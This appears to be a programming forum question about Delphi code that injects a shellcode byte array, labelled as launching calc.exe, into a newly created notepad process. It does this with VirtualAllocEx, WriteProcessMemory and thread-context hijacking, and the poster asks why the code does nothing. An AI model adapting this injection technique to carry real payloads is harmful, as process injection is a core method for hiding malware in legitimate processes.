title: Delphi code Injection
body: <p>Everything seems to be working fine but my code does nothing.
  I want to inject shellcode, which starts calc to notepad.</p>
  
  <p>Here is my code:</p>
  
  <pre><code>const
    shellcode:array[0..124] of BYTE = ( // exec of calc.exe
    $fc,$e8,$44,$00,$00,$00,$8b,$45,$3c,$8b,$7c,$05,$78,$01,$ef,$8b,
    $4f,$18,$8b,$5f,$20,$01,$eb,$49,$8b,$34,$8b,$01,$ee,$31,$c0,$99, 
    $ac,$84,$c0,$74,$07,$c1,$ca,$0d,$01,$c2,$eb,$f4,$3b,$54,$24,$04,
    $75,$e5,$8b,$5f,$24,$01,$eb,$66,$8b,$0c,$4b,$8b,$5f,$1c,$01,$eb,
    $8b,$1c,$8b,$01,$eb,$89,$5c,$24,$04,$c3,$5f,$31,$f6,$60,$56,$64, 
    $8b,$46,$30,$8b,$40,$0c,$8b,$70,$1c,$ad,$8b,$68,$08,$89,$f8,$83,
    $c0,$6a,$50,$68,$7e,$d8,$e2,$73,$68,$98,$fe,$8a,$0e,$57,$ff,$e7,
    $63,$61,$6c,$63,$2e,$65,$78,$65,$00,$00,$00,$00,$00);
  
  var 
    pi: TProcessInformation;
    si: TStartupInfo;
    ctx: Context;
    remote_shellcodePtr: Pointer;
    Written:Cardinal;
  
  procedure TForm1.Button1Click(Sender: TObject);
  begin
    FillMemory( @si, sizeof( si ), 0 );
    FillMemory( @pi, sizeof( pi ), 0 );
  
    CreateProcess(
      Nil,
      PChar( 'notepad.exe' ),
      Nil, Nil, False,
      NORMAL_PRIORITY_CLASS, Nil, Nil,                      //    NORMAL_PRIORITY_CLASS
      si, pi );
  
    ctx.ContextFlags := CONTEXT_CONTROL;
    GetThreadContext(pi.hThread,ctx);
  
    remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,SizeOf(shellcode),MEM_COMMIT,
      PAGE_EXECUTE_READWRITE);
  
    WriteProcessMemory(pi.hProcess,remote_shellcodePtr,@shellcode,
    Sizeof(shellcode),written);
    ctx.Eip:=Integer(remote_shellcodePtr);
    ctx.ContextFlags := CONTEXT_CONTROL;
    SetThreadContext(pi.hThread,ctx);
  
    ResumeThread(pi.hThread);
  end;
  </code></pre>
  
  <p>Maybe is problem in CreateProcess. The security settings can be CREATE_SUSPENDED|IDLE_PRIORITY_CLASS.
  But that tells me that it is undefined.</p>